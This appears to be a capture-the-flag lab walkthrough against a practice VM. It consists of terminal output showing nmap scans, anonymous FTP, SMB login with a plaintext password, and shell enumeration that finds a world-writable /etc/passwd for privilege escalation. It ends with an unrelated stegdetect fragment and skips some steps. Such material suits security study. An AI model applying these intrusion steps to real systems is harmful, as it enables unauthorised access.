┌──(kali㉿kali)-[~/Downloads/sahu] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.139 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 08:06 EDT Nmap scan report for 192.168.56.139 Host is up (0.00037s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:4D:A7:81 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.41 seconds
┌──(kali㉿kali)-[~/Downloads/sahu] └─$ sudo nmap -sT -sV -sC -O -p21,22,80,139,445 192.168.56.139 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 23:34 EDT Nmap scan report for 192.168.56.139 Host is up (0.00049s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.56.106 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 230 Jan 30 2020 ftp.zip 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e2:78:c5:73:f2:86:cb:cb:02:7f:b6:72:85:61:ac:91 (RSA) | 256 22:1a:ee:1a:98:4f:32:e7:dc:30:43:52:2c:b2:24:06 (ECDSA) |_ 256 1a:9b:28:b3:ad:58:32:e9:6c:f3:ea:3b:cf:6b:08:ad (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Site doesn\'t have a title. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAHU) 445/tcp open �.,��U Samba smbd 4.10.7-Ubuntu (workgroup: SAHU) MAC Address: 08:00:27:4D:A7:81 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: SAHU-VIRTUALBOX; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds
┌──(kali㉿kali)-[~/Downloads/sahu] └─$ ftp 192.168.56.139 Connected to 192.168.56.139. 220 (vsFTPd 3.0.3) Name (192.168.56.139:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> binary 200 Switching to Binary mode. ftp> ls 229 Entering Extended Passive Mode (|||15856|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 230 Jan 30 2020 ftp.zip 226 Directory send OK. ftp> get ftp.zip local: ftp.zip remote: ftp.zip 229 Entering Extended Passive Mode (|||12832|) 150 Opening BINARY mode data connection for ftp.zip (230 bytes). 100% |***********************************************************************| 230 4.66 MiB/s 00:00 ETA 226 Transfer complete. 230 bytes received in 00:00 (452.84 KiB/s) ftp> pwd Remote directory: /
┌──(kali㉿kali)-[~/Downloads/sahu] └─$ smbclient //192.168.56.139/sambashare -U sahu%sahu14216 Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jan 30 03:50:23 2020 .. D 0 Thu Jan 30 02:57:06 2020 ssh.txt N 64 Thu Jan 30 03:50:02 2020
10253588 blocks of size 1024. 4282444 blocks available smb: \> get ssh.txt getting file \ssh.txt of size 64 as ssh.txt (8.9 KiloBytes/sec) (average 8.9 KiloBytes/sec) smb: \>
156 updates can be installed immediately. 77 of these updates are security updates. To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Tue Feb 4 18:05:07 2020 from 192.168.43.111 haryana@sahu-VirtualBox:~$ whoami haryana haryana@sahu-VirtualBox:~$ id uid=1001(haryana) gid=1001(haryana) groups=1001(haryana) haryana@sahu-VirtualBox:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:4d:a7:81 brd ff:ff:ff:ff:ff:ff inet 192.168.56.139/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3 valid_lft 502sec preferred_lft 502sec inet6 fe80::853d:613f:7377:f9e7/64 scope link noprefixroute valid_lft forever preferred_lft forever haryana@sahu-VirtualBox:~$ sudo -l [sudo] password for haryana: Sorry, user haryana may not run sudo on sahu-VirtualBox.
haryana@sahu-VirtualBox:~$ ls -alih total 40K 295542 drwxr-xr-x 6 haryana haryana 4.0K Feb 4 2020 . 262147 drwxr-xr-x 4 root root 4.0K Jan 30 2020 .. 268530 -rw------- 1 haryana haryana 179 Feb 4 2020 .bash_history 268529 -rw-r--r-- 1 haryana haryana 220 Jan 30 2020 .bash_logout 268527 -rw-r--r-- 1 haryana haryana 3.7K Jan 30 2020 .bashrc 295605 drwxr-x--- 4 haryana haryana 4.0K Feb 4 2020 .cache 295602 drwxr-x--- 4 haryana haryana 4.0K Feb 4 2020 .config 295600 drwx------ 3 haryana haryana 4.0K Feb 4 2020 .gnupg 295584 drwxrwxr-x 3 haryana haryana 4.0K Jan 30 2020 .local 262309 -rw-r--r-- 1 haryana haryana 807 Jan 30 2020 .profile haryana@sahu-VirtualBox:~$ cat .bash_history cd sahu ls cd sambashare/ ls nano /etc/passwd su sahu cd .. cd sahu ls cd .. su sahu cd pwd cd ../ ls cd sahu/ ls cd ../.. ls cd root/ sudo cd root su sahu cd /etc/ ls -l su sahu
passwd 写入提权
查看敏感文件发现用户似乎编辑过 passwd 文件,查看 passwd 文件权限
1 2 3
haryana@sahu-VirtualBox:~$ ls -liah /etc/passwd 163753 -rwxrwxrwx 1 root root 2.9K Jan 30 2020 /etc/passwd haryana@sahu-VirtualBox:~$ nano /etc/passwd
-s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大 t – 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下: j – 检测图像中的信息是否是用jsteg嵌入的。 o – 检测图像中的信息是否是用outguess嵌入的。 p – 检测图像中的信息是否是用jphide嵌入的。 i – 检测图像中的信息是否是用invisible secrets嵌入的。